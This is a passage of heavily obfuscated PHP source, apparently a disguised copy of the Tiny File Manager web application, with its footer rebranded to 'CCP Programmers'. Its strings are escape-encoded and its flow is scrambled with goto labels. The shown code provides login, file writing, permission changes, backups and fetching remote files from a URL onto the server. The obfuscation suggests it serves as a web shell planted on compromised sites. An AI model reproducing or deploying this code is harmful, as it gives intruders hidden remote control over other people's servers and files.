"\x45\156\147\x6c\x69\x73\x68"); goto MWz00; E79mH: define("\106\x4d\137\x49\x53\x5f\x57\111\116", DIRECTORY_SEPARATOR == "\x5c"); goto BHVEP; mO3hf: function fm_get_mime_type($file_path) { if (function_exists("\x66\151\156\x66\x6f\137\x6f\x70\x65\x6e")) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists("\155\x69\x6d\145\x5f\143\x6f\x6e\x74\145\x6e\164\137\x74\171\160\145")) { return mime_content_type($file_path); } elseif (!stristr(ini_get("\144\151\x73\x61\142\154\145\137\x66\x75\x6e\143\x74\151\157\x6e\x73"), "\163\x68\x65\x6c\x6c\137\x65\170\x65\x63")) { $file = escapeshellarg($file_path); $mime = shell_exec("\x66\x69\x6c\x65\x20\x2d\142\151\40" . $file); return $mime; } else { return "\55\x2d"; } } goto H3aJB; nCuZN: define("\115\101\130\x5f\125\x50\114\x4f\x41\104\137\123\111\132\105", $max_upload_size_bytes); goto iTuM5; UP4nw: $tableTheme = FM_THEME == "\144\141\x72\x6b" ? "\164\145\170\x74\55\167\x68\151\164\145\x20\142\x67\x2d\144\141\162\x6b\x20\x74\x61\x62\154\x65\x2d\x64\x61\162\153" : "\142\147\x2d\x77\150\151\164\x65"; goto Dpz8g; mhIRJ: defined("\106\x4d\x5f\104\117\103\x5f\126\x49\x45\127\105\x52") || define("\x46\x4d\137\104\x4f\103\x5f\126\x49\105\127\x45\x52", $online_viewer); goto BfLZb; eH_An: fm_show_message(); goto t86I3; jeynd: defined("\106\115\137\x48\x49\x47\x48\114\x49\107\x48\124\x4a\x53\137\123\124\131\x4c\x45") || define("\106\x4d\137\x48\111\x47\x48\114\x49\x47\110\x54\112\x53\x5f\x53\x54\131\114\105", $highlightjs_style); goto AU518; PZ_He: if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]["\x6c\x6f\147\x67\145\144"], $auth_users[$_SESSION[FM_SESSION_ID]["\154\x6f\147\x67\145\x64"]])) { } elseif (isset($_POST["\146\x6d\x5f\x75\163\162"], $_POST["\x66\155\x5f\x70\167\x64"], $_POST["\x74\x6f\153\145\x6e"])) { sleep(1); if (function_exists("\x70\x61\x73\x73\167\x6f\162\x64\x5f\x76\145\x72\x69\146\171")) { if (isset($auth_users[$_POST["\146\x6d\x5f\x75\x73\162"]]) && isset($_POST["\x66\x6d\137\x70\x77\x64"]) && password_verify($_POST["\x66\x6d\137\160\167\144"], $auth_users[$_POST["\146\x6d\137\165\163\162"]]) && verifyToken($_POST["\x74\x6f\x6b\x65\156"])) { $_SESSION[FM_SESSION_ID]["\x6c\x6f\x67\x67\145\x64"] = $_POST["\x66\155\137\165\163\x72"]; fm_set_msg(lng("\131\157\x75\x20\141\x72\x65\40\x6c\157\x67\147\x65\144\40\x69\x6e")); fm_redirect(FM_ROOT_URL . $_SERVER["\122\105\x51\125\x45\123\x54\137\x55\x52\x49"]); } else { unset($_SESSION[FM_SESSION_ID]["\154\x6f\147\147\x65\144"]); fm_set_msg(lng("\x4c\x6f\147\151\x6e\x20\x66\x61\151\x6c\145\x64\x2e\40\x49\x6e\x76\x61\x6c\151\144\x20\x75\163\145\162\156\x61\155\x65\x20\157\162\x20\x70\x61\x73\163\167\x6f\x72\144"), "\145\x72\162\x6f\x72"); fm_redirect(FM_ROOT_URL . $_SERVER["\122\x45\121\125\x45\x53\124\x5f\125\122\x49"]); } } else { fm_set_msg(lng("\x70\x61\163\163\167\157\162\144\137\x68\141\x73\x68\x20\156\x6f\x74\x20\x73\x75\x70\160\157\x72\164\x65\144\54\x20\125\160\x67\162\141\x64\x65\40\120\110\120\x20\x76\145\162\163\151\157\156"), "\145\162\x72\x6f\162"); } } else { unset($_SESSION[FM_SESSION_ID]["\154\157\x67\147\145\144"]); fm_show_header_login(); ?>
<section class="h-100"><div class="h-100 container"><div class="row h-100 justify-content-md-center"><div class="card-wrapper"><div class="card fat<?php  echo fm_get_theme(); ?>
"><div class="card-body"><form method="post"action=""class="form-signin"autocomplete="off"><div class="mb-3"><div class="brand"><svg aria-label="H3K Tiny File Manager"height="80px"M1008 version="1.0"viewBox="0 0 238.000000 140.000000"width="100%"xmlns="http://www.w3.org/2000/svg"><g fill="#000000"stroke="none"transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)"><path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/><path d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"fill="#003500"/><path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g></svg></div><div class="text-center"><h1 class="card-title"><?php  echo APP_TITLE; ?>
</h1></div></div><hr><div class="mb-3"><label for="fm_usr"><?php  echo lng("\125\163\x65\x72\156\141\155\145"); ?>
</label> <input name="fm_usr"id="fm_usr"class="form-control"required autofocus></div><div class="mb-3"><label for="fm_pwd"><?php  echo lng("\120\x61\163\x73\x77\x6f\x72\144"); ?>
</label> <input name="fm_pwd"type="password"id="fm_pwd"class="form-control"required></div><div class="mb-3"><?php  fm_show_message(); ?>
</div><input name="token"type="hidden"value="<?php  echo htmlentities($_SESSION["\164\157\x6b\145\x6e"]); ?>
"><div class="mb-3"><button class="btn btn-success btn-block mt-4 w-100"type="submit"role="button"><?php  echo lng("\114\157\x67\x69\x6e"); ?>
</button></div></form></div></div><div class="text-center footer">—— © <a href="https://tinyfilemanager.github.io/"class="text-decoration-none text-muted"target="_blank"data-version="<?php  echo VERSION; ?>
">CCP Programmers</a> ——</div></div></div></div></section><?php  fm_show_footer_login(); die; } } goto tj1A6; FVvMS: if (isset($_POST["\143\150\155\x6f\144"], $_POST["\164\157\x6b\145\x6e"]) && !FM_READONLY && !FM_IS_WIN) { if (!verifyToken($_POST["\x74\x6f\153\x65\x6e"])) { fm_set_msg(lng("\x49\156\x76\x61\x6c\151\x64\40\124\x6f\153\145\x6e\x2e"), "\x65\x72\162\x6f\162"); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\57" . FM_PATH; } $file = $_POST["\x63\x68\155\157\144"]; $file = fm_clean_path($file); $file = str_replace("\57", '', $file); if ($file == '' || !is_file($path . "\x2f" . $file) && !is_dir($path . "\x2f" . $file)) { fm_set_msg(lng("\x46\151\154\x65\40\x6e\157\164\x20\146\x6f\x75\x6e\144"), "\x65\x72\x72\x6f\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST["\165\162"])) { $mode |= 256; } if (!empty($_POST["\x75\x77"])) { $mode |= 128; } if (!empty($_POST["\x75\x78"])) { $mode |= 64; } if (!empty($_POST["\147\x72"])) { $mode |= 32; } if (!empty($_POST["\147\x77"])) { $mode |= 16; } if (!empty($_POST["\147\x78"])) { $mode |= 8; } if (!empty($_POST["\x6f\162"])) { $mode |= 4; } if (!empty($_POST["\x6f\x77"])) { $mode |= 2; } if (!empty($_POST["\x6f\x78"])) { $mode |= 1; } if (@chmod($path . "\57" . $file, $mode)) { fm_set_msg(lng("\x50\145\162\x6d\151\x73\x73\x69\x6f\156\163\40\143\150\x61\156\x67\145\144")); } else { fm_set_msg(lng("\x50\x65\162\155\151\x73\x73\151\x6f\156\163\40\156\157\x74\40\143\x68\141\x6e\147\x65\x64"), "\145\162\162\x6f\x72"); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\x3d" . urlencode($FM_PATH)); } goto wLOtF; oH07H: $root_url = ''; goto uaRrs; KIz4L: if (isset($_POST["\x61\152\141\170"], $_POST["\164\157\x6b\145\x6e"]) && !FM_READONLY) { if (!verifyToken($_POST["\x74\157\153\x65\156"])) { header("\x48\124\124\x50\57\61\56\x30\40\64\60\61\x20\x55\156\141\165\164\150\x6f\x72\151\x7a\x65\144"); die("\111\156\x76\x61\154\151\x64\x20\124\x6f\153\145\156\56"); } if (isset($_POST["\x74\171\160\x65"]) && $_POST["\x74\171\160\x65"] == "\x73\x65\141\162\143\150") { $dir = $_POST["\160\x61\x74\150"] == "\56" ? '' : $_POST["\160\141\x74\150"]; $response = scan(fm_clean_path($dir), $_POST["\143\x6f\x6e\164\x65\156\164"]); echo json_encode($response); die; } if (isset($_POST["\x74\x79\x70\145"]) && $_POST["\x74\171\160\145"] == "\x73\x61\166\145") { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . "\x3f\160\x3d"); } $file = $_GET["\145\144\151\x74"]; $file = fm_clean_path($file); $file = str_replace("\x2f", '', $file); if ($file == '' || !is_file($path . "\x2f" . $file)) { fm_set_msg(lng("\x46\151\154\x65\40\156\x6f\x74\x20\x66\x6f\165\156\x64"), "\145\x72\162\157\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\160\x3d" . urlencode($FM_PATH)); } header("\130\x2d\x58\123\123\55\x50\162\157\x74\x65\x63\x74\151\157\156\72\60"); $file_path = $path . "\57" . $file; $writedata = $_POST["\143\x6f\x6e\x74\x65\x6e\x74"]; $fd = fopen($file_path, "\167"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false) { header("\110\124\124\120\x2f\61\56\61\x20\65\60\60\40\111\156\x74\x65\x72\156\x61\x6c\x20\123\x65\162\166\145\162\x20\105\162\162\157\x72"); die("\103\157\x75\x6c\144\x20\116\157\x74\x20\x57\x72\x69\x74\145\40\106\x69\x6c\145\x21\x20\x2d\x20\x43\150\145\143\153\x20\x50\x65\x72\x6d\x69\163\163\x69\x6f\156\x73\40\57\40\x4f\167\156\x65\x72\163\x68\151\x70"); } die(true); } if (isset($_POST["\x74\171\x70\145"]) && $_POST["\x74\171\160\145"] == "\x62\141\143\x6b\165\x70" && !empty($_POST["\x66\151\154\145"])) { $fileName = fm_clean_path($_POST["\x66\151\154\x65"]); $fullPath = FM_ROOT_PATH . "\x2f"; if (!empty($_POST["\x70\x61\x74\x68"])) { $relativeDirPath = fm_clean_path($_POST["\x70\141\164\150"]); $fullPath .= "{$relativeDirPath}\57"; } $date = date("\144\115\171\55\x48\x69\x73"); $newFileName = "{$fileName}\x2d{$date}\x2e\142\141\x6b"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("\106\151\154\x65\x20{$fileName}\40\x6e\157\x74\x20\x66\157\165\x6e\144"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "\x42\141\143\153\x75\x70\x20{$newFileName}\x20\x63\162\145\x61\164\x65\144"; } else { throw new Exception("\103\157\165\x6c\x64\x20\x6e\157\164\40\x63\x6f\x70\x79\40\146\x69\154\x65\40{$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } if (isset($_POST["\x74\171\160\x65"]) && $_POST["\x74\x79\x70\x65"] == "\x73\x65\x74\x74\151\x6e\147\163") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST["\152\163\55\x6c\x61\156\147\x75\141\x67\x65"]; fm_get_translations(array()); if (!array_key_exists($newLng, $lang_list)) { $newLng = "\145\156"; } $erp = isset($_POST["\152\163\55\145\x72\162\x6f\162\x2d\162\145\x70\x6f\162\164"]) && $_POST["\152\163\55\145\162\x72\157\x72\x2d\x72\145\x70\x6f\162\x74"] == "\x74\x72\x75\145" ? true : false; $shf = isset($_POST["\x6a\163\55\x73\x68\x6f\167\55\150\x69\144\144\145\156"]) && $_POST["\x6a\x73\55\x73\150\157\167\x2d\x68\x69\144\x64\145\x6e"] == "\164\162\165\x65" ? true : false; $hco = isset($_POST["\x6a\x73\55\x68\x69\x64\145\55\x63\157\154\163"]) && $_POST["\x6a\163\x2d\150\151\144\145\x2d\x63\x6f\x6c\x73"] == "\x74\162\165\x65" ? true : false; $caf = isset($_POST["\x6a\163\x2d\143\x61\154\143\x2d\146\157\154\x64\145\162"]) && $_POST["\152\x73\55\143\141\x6c\143\x2d\x66\157\154\144\145\162"] == "\x74\162\x75\145" ? true : false; $te3 = $_POST["\x6a\163\x2d\164\x68\x65\x6d\145\55\x33"]; if ($cfg->data["\x6c\x61\156\147"] != $newLng) { $cfg->data["\x6c\x61\156\x67"] = $newLng; $lang = $newLng; } if ($cfg->data["\x65\162\x72\157\162\x5f\x72\145\x70\157\162\x74\x69\x6e\x67"] != $erp) { $cfg->data["\145\162\x72\x6f\162\137\162\145\x70\x6f\x72\164\151\x6e\x67"] = $erp; $report_errors = $erp; } if ($cfg->data["\x73\x68\157\x77\x5f\150\151\x64\x64\145\156"] != $shf) { $cfg->data["\163\x68\157\x77\x5f\x68\151\144\144\x65\156"] = $shf; $show_hidden_files = $shf; } if ($cfg->data["\163\x68\x6f\x77\137\x68\151\144\x64\145\156"] != $shf) { $cfg->data["\x73\150\157\x77\x5f\150\151\x64\x64\145\x6e"] = $shf; $show_hidden_files = $shf; } if ($cfg->data["\150\x69\144\x65\137\x43\157\x6c\163"] != $hco) { $cfg->data["\150\151\144\145\137\x43\x6f\154\163"] = $hco; $hide_Cols = $hco; } if ($cfg->data["\x74\150\x65\x6d\x65"] != $te3) { $cfg->data["\x74\150\x65\155\145"] = $te3; $theme = $te3; } $cfg->save(); echo true; } if (isset($_POST["\x74\x79\160\145"]) && $_POST["\164\x79\x70\145"] == "\160\x77\x64\150\x61\x73\x68") { $res = isset($_POST["\x69\156\x70\165\x74\120\x61\163\x73\167\x6f\162\144\62"]) && !empty($_POST["\x69\156\160\x75\x74\120\x61\163\x73\167\157\162\144\x32"]) ? password_hash($_POST["\151\156\x70\x75\164\120\x61\163\163\167\x6f\x72\x64\x32"], PASSWORD_DEFAULT) : ''; echo $res; } if (isset($_POST["\164\x79\160\145"]) && $_POST["\x74\x79\x70\x65"] == "\165\160\154\x6f\x61\x64" && !empty($_REQUEST["\165\x70\154\157\x61\x64\x75\162\x6c"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= "\x2f" . FM_PATH; } function event_callback($message) { global $callback; echo json_encode($message); } function get_file_path() { global $path, $fileinfo, $temp_file; return $path . "\x2f" . basename($fileinfo->name); } $url = !empty($_REQUEST["\x75\x70\x6c\157\141\144\x75\x72\x6c"]) && preg_match("\174\x5e\x68\x74\x74\160\x28\163\51\77\x3a\x2f\57\56\53\44\x7c", stripslashes($_REQUEST["\x75\160\x6c\x6f\x61\144\165\162\x6c"])) ? stripslashes($_REQUEST["\165\160\x6c\157\141\144\x75\x72\x6c"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = array(22, 23, 25, 3306); if (preg_match("\57\136\154\157\x63\x61\154\150\x6f\x73\x74\44\x7c\x5e\x31\62\67\x28\x3f\x3a\134\56\x5b\x30\x2d\71\135\x2b\x29\173\x30\x2c\x32\175\134\x2e\133\60\55\71\x5d\x2b\44\174\x5e\50\x3f\72\x30\52\134\72\51\52\x3f\72\x3f\x30\x2a\x31\x24\x2f\x69", $domain) || in_array($port, $knownPorts)) { $err = array("\155\145\163\163\x61\147\145" => "\125\122\x4c\x20\151\163\x20\x6e\157\x74\40\141\154\154\157\167\x65\x64"); event_callback(array("\x66\141\151\x6c" => $err)); die; } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "\165\160\154\x6f\x61\144\x2d"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), "\x2e\0\x2e\56\x20"); $allowed = FM_UPLOAD_EXTENSION ? explode("\x2c", FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = $allowed ? in_array($ext, $allowed) : true; $err = false; if (!$isFileAllowed) { $err = array("\155\145\x73\x73\141\147\145" => "\x46\151\154\145\x20\x65\170\x74\145\156\163\x69\x6f\x6e\x20\x69\x73\x20\x6e\x6f\164\x20\141\154\x6c\157\x77\x65\144"); event_callback(array("\x66\x61\x69\x6c" => $err)); die; } if (!$url) { $success = false; } else { if ($use_curl) { @($fp = fopen($temp_file, "\x77")); @($ch = curl_init($url)); curl_setopt($ch, CURLOPT_NOPROGRESS, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @($success = curl_exec($ch)); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("\x6d\145\163\x73\141\x67\145" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["\163\151\x7a\x65\137\144\157\x77\x6e\154\x6f\141\144"]; $fileinfo->type = $curl_info["\x63\x6f\156\x74\x65\x6e\x74\x5f\164\x79\x70\145"]; } else { $ctx = stream_context_create(); @($success = copy($url, $temp_file, $ctx)); if (!$success) { $err = error_get_last(); } } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("\144\x6f\156\x65" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("\155\145\163\163\x61\147\x65" => "\x49\x6e\x76\x61\x6c\x69\144\40\165\162\154\x20\x70\141\x72\x61\155\145\164\x65\x72"); } event_callback(array("\146\x61\151\154" => $err)); } } die; } goto DhYJH; hVCfR: if (isset($_GET["\x76\151\x65\x77"])) { $file = $_GET["\166\151\x65\167"]; $file = fm_clean_path($file, false); $file = str_replace("\x2f", '', $file); if ($file == '' || !is_file($path . "\57" . $file) || in_array($file, $GLOBALS["\145\170\x63\154\x75\144\x65\x5f\151\x74\145\x6d\x73"])) { fm_set_msg(lng("\x46\x69\x6c\x65\40\156\x6f\x74\40\146\x6f\x75\156\144"), "\145\x72\162\x6f\x72"); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\75" . urlencode($FM_PATH)); } fm_show_header(); fm_show_nav_path(FM_PATH); $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? "\57" . FM_PATH : '') . "\57" . $file); $file_path = $path . "\57" . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize_raw = fm_get_size($file_path); $filesize = fm_get_filesize($filesize_raw); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = "\x46\151\x6c\x65"; $filenames = false; $content = ''; $online_viewer = strtolower(FM_DOC_VIEWER); if ($online_viewer && $online_viewer !== "\146\141\154\163\x65" && in_array($ext, fm_get_onlineViewer_exts())) { $is_onlineViewer = true; } elseif ($ext == "\x7a\x69\x70" || $ext == "\164\x61\162") { $is_zip = true; $view_title = "\101\x72\x63\x68\151\x76\145"; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = "\x49\155\141\x67\145"; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = "\101\x75\x64\151\x6f"; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = "\x56\x69\x64\145\157"; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == "\164\145\170\x74" || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
<div class="row"><div class="col-12"><p class="break-word"><b><?php  echo $view_title; ?>
"<?php  echo fm_enc(fm_convert_win($file)); ?>
"</b></p><p class="break-word"><strong>Full path:</strong><?php  echo fm_enc(fm_convert_win($file_path)); ?>
<br><strong>File size:</strong><?php  echo $filesize_raw <= 1000 ? "{$filesize_raw}\x20\x62\x79\x74\145\x73" : $filesize; ?>
<br><strong>MIME-type:</strong><?php  echo $mime_type; ?>
<br><?php  if (($is_zip || $is_gzip) && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn["\146\x6f\154\x64\145\162"]) { $total_files++; } $total_comp += $fn["\143\x6f\x6d\x70\162\x65\163\163\145\x64\x5f\x73\151\x7a\x65"]; $total_uncomp += $fn["\146\151\154\x65\x73\x69\x7a\145"]; } ?>
Files in archive:<?php  echo $total_files; ?>
<br>Total size:<?php  echo fm_get_filesize($total_uncomp); ?>
<br>Size in archive:<?php  echo fm_get_filesize($total_comp); ?>
<br>Compression:<?php  echo round($total_comp / max($total_uncomp, 1) * 100); ?>
%<br><?php  } if ($is_image) { $image_size = getimagesize($file_path); echo "\111\155\141\x67\145\40\x73\151\172\145\x73\x3a\x20" . (isset($image_size[0]) ? $image_size[0] : "\x30") . "\40\170\40" . (isset($image_size[1]) ? $image_size[1] : "\x30") . "\74\x62\x72\76"; } if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists("\151\143\157\x6e\166")) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, "\125\x54\x46\55\x38\x2f\x2f\x49\x47\x4e\x4f\122\x45", $content); } } echo "\x3c\x73\x74\162\x6f\x6e\147\76\103\x68\x61\x72\x73\145\x74\x3a\x3c\57\163\x74\x72\157\x6e\147\x3e\40" . ($is_utf8 ? "\165\164\x66\x2d\70" : "\70\40\x62\x69\x74") . "\74\142\162\x3e"; } ?>
</p><div class="mb-3 align-items-center d-flex"><b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&dl=<?php  echo urlencode($file); ?>
"><i class="fa fa-cloud-download"></i><?php  echo lng("\x44\x6f\167\156\154\x6f\141\144"); ?>
</a></b><b class="ms-2"><a href="<?php  echo fm_enc($file_url); ?>
"target="_blank"><i class="fa fa-external-link-square"></i><?php  echo lng("\x4f\x70\x65\x6e"); ?>
</a></b><?php  if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?>
<form method="post"class="ms-2 d-inline"><input name="token"type="hidden"value="<php<?php  echo $_SESSION["\x74\157\153\145\156"]; ?>
"> <input name="unzip"type="hidden"value="<?php  echo urlencode($file); ?>
"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"style="font-size:14px"><i class="fa fa-check-circle"></i><?php  echo lng("\125\156\132\x69\160"); ?>
</button></form><form method="post"class="ms-2 d-inline"><input name="token"type="hidden"value="<php<?php  echo $_SESSION["\164\157\153\145\x6e"]; ?>
"> <input name="unzip"type="hidden"value="<?php  echo urlencode($file); ?>
"> <input name="tofolder"type="hidden"value="1"> <button class="btn btn-link text-decoration-none fw-bold p-0"type="submit"style="font-size:14px"title="UnZip to<?php  echo fm_enc($zip_name); ?>
"><i class="fa fa-check-circle"></i><?php  echo lng("\x55\x6e\x5a\x69\x70\x54\157\106\157\154\x64\x65\162"); ?>
</button></form><?php  } if ($is_text && !FM_READONLY) { ?>
<b class="ms-2"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($file); ?>
"class="edit-file"><i class="fa fa-pencil-square"></i><?php  echo lng("\x45\144\151\x74"); ?>
</a></b><b class="ms-2"><a href="?p=<?php  echo urlencode(trim(FM_PATH)); ?>
&edit=<?php  echo urlencode($file); ?>
&env=ace"class="edit-file"><i class="fa fa-pencil-square-o"></i><?php  echo lng("\x41\x64\166\141\x6e\x63\x65\144\x45\x64\151\x74\157\x72"); ?>
</a></b><?php  } ?>
<b class="ms-2"><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"><i class="fa fa-chevron-circle-left go-back"></i><?php  echo lng("\102\x61\143\153"); ?>
</a></b></div><?php  if ($is_onlineViewer) { if ($online_viewer == "\147\157\157\x67\154\x65") { echo "\74\x69\146\x72\x61\155\145\x20\x73\162\x63\x3d\42\x68\164\164\x70\x73\x3a\57\57\x64\x6f\x63\x73\x2e\x67\x6f\157\147\154\145\x2e\143\x6f\155\57\x76\151\145\x77\145\162\77\145\x6d\142\145\x64\144\145\x64\75\x74\162\165\x65\46\150\x6c\x3d\145\156\46\x75\162\154\75" . fm_enc($file_url) . "\42\40\146\x72\x61\x6d\x65\x62\157\x72\144\145\x72\x3d\42\x6e\x6f\x22\40\x73\x74\171\x6c\145\75\x22\x77\151\x64\x74\x68\x3a\x31\x30\x30\45\x3b\155\151\156\55\x68\x65\151\147\x68\164\x3a\x34\66\x30\160\x78\42\76\x3c\57\x69\146\x72\141\x6d\x65\76"; } else { if ($online_viewer == "\x6d\x69\x63\162\157\163\x6f\146\164") { echo "\74\x69\146\162\x61\155\145\x20\163\162\143\x3d\42\150\x74\164\x70\163\72\x2f\57\x76\x69\145\167\x2e\157\146\146\151\143\145\141\160\x70\x73\x2e\x6c\x69\166\x65\56\143\x6f\155\57\157\x70\x2f\145\155\142\145\144\x2e\141\x73\x70\170\77\x73\162\x63\x3d" . fm_enc($file_url) . "\42\x20\x66\162\141\x6d\x65\142\157\162\144\x65\162\75\x22\156\x6f\x22\40\x73\x74\x79\x6c\145\x3d\x22\x77\151\x64\164\150\72\61\x30\60\x25\73\x6d\151\156\x2d\150\145\x69\147\x68\164\72\64\x36\60\x70\x78\42\x3e\74\57\x69\x66\x72\141\x6d\145\76"; } } } elseif ($is_zip) { if ($filenames !== false) { echo "\74\143\157\144\145\x20\143\154\x61\x73\163\75\42\x6d\x61\x78\150\x65\151\147\x68\x74\42\76"; foreach ($filenames as $fn) { if ($fn["\146\157\x6c\x64\145\x72"]) { echo "\x3c\x62\76" . fm_enc($fn["\156\141\x6d\145"]) . "\x3c\57\x62\x3e\74\x62\x72\x3e"; } else { echo $fn["\156\x61\x6d\145"] . "\40\50" . fm_get_filesize($fn["\146\x69\x6c\x65\163\151\x7a\x65"]) . "\51\x3c\142\162\76"; } } echo "\x3c\x2f\143\157\x64\x65\76"; } else { echo "\x3c\x70\x3e" . lng("\x45\162\162\157\x72\40\x77\150\151\154\145\x20\146\145\164\143\150\x69\156\x67\x20\141\162\143\150\151\x76\145\x20\151\x6e\146\157") . "\74\x2f\x70\76"; } } elseif ($is_image) { if (in_array($ext, array("\x67\x69\x66", "\152\x70\147", "\152\x70\x65\147", "\x70\156\147", "\142\155\x70", "\x69\143\x6f", "\163\x76\x67", "\167\x65\x62\x70", "\141\x76\x69\x66"))) { echo "\74\x70\x3e\x3c\151\x6d\147\x20\x73\x72\x63\75\x22" . fm_enc($file_url) . "\x22\x20\141\x6c\164\x3d\42\x69\x6d\x61\147\x65\x22\x20\x63\154\141\163\x73\75\x22\x70\162\145\x76\x69\145\167\55\x69\x6d\x67\x2d\143\x6f\x6e\x74\x61\x69\x6e\x65\162\42\40\x63\x6c\x61\163\x73\75\42\160\x72\145\x76\x69\145\167\55\151\x6d\x67\x22\76\x3c\57\x70\76"; } } elseif ($is_audio) { echo "\74\x70\x3e\x3c\x61\165\144\151\157\40\x73\x72\143\x3d\42" . fm_enc($file_url) . "\42\40\x63\x6f\156\x74\x72\157\154\163\x20\x70\x72\x65\154\157\x61\x64\75\42\155\145\164\x61\144\141\164\x61\42\x3e\74\57\x61\165\144\151\x6f\x3e\74\57\160\76"; } elseif ($is_video) { echo "\x3c\144\151\166\x20\x63\154\141\163\x73\75\x22\160\x72\x65\x76\151\145\167\x2d\x76\151\x64\145\x6f\x22\x3e\74\x76\151\x64\145\157\40\163\x72\143\x3d\42" . fm_enc($file_url) . "\42\x20\167\x69\144\164\150\75\x22\66\64\60\x22\x20\x68\145\x69\147\x68\164\75\x22\x33\66\x30\x22\40\143\x6f\x6e\x74\162\x6f\x6c\x73\x20\160\x72\x65\154\157\x61\x64\75\x22\155\x65\164\x61\144\x61\x74\x61\x22\76\74\x2f\166\151\144\145\x6f\76\74\x2f\x64\x69\x76\x3e"; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { $hljs_classes = array("\x73\x68\x74\x6d\154" => "\170\x6d\x6c", "\x68\x74\x61\x63\x63\145\163\163" => "\x61\160\x61\x63\x68\x65", "\160\150\164\155\154" => "\160\x68\160", "\154\157\143\x6b" => "\x6a\x73\157\x6e", "\163\166\147" => "\170\155\x6c"); $hljs_class = isset($hljs_classes[$ext]) ? "\x6c\141\156\x67\55" . $hljs_classes[$ext] : "\154\141\x6e\x67\x2d" . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match("\x23\x5c\x2e\155\151\156\x5c\56\x28\x63\163\x73\174\x6a\x73\51\x24\x23\x69", $file)) { $hljs_class = "\156\x6f\150\151\x67\x68\154\x69\x67\150\x74"; } $content = "\x3c\160\162\145\40\143\154\141\x73\163\75\x22\167\x69\164\x68\55\x68\154\152\x73\x22\x3e\74\x63\157\144\145\40\143\154\x61\x73\163\75\x22" . $hljs_class . "\42\76" . fm_enc($content) . "\x3c\x2f\x63\x6f\144\145\x3e\x3c\57\160\162\x65\76"; } elseif (in_array($ext, array("\160\150\160", "\x70\x68\x70\x34", "\160\150\x70\x35", "\160\x68\x74\x6d\154", "\x70\150\160\x73"))) { $content = highlight_string($content, true); } else { $content = "\74\160\162\145\76" . fm_enc($content) . "\x3c\x2f\160\162\145\76"; } echo $content; } ?>
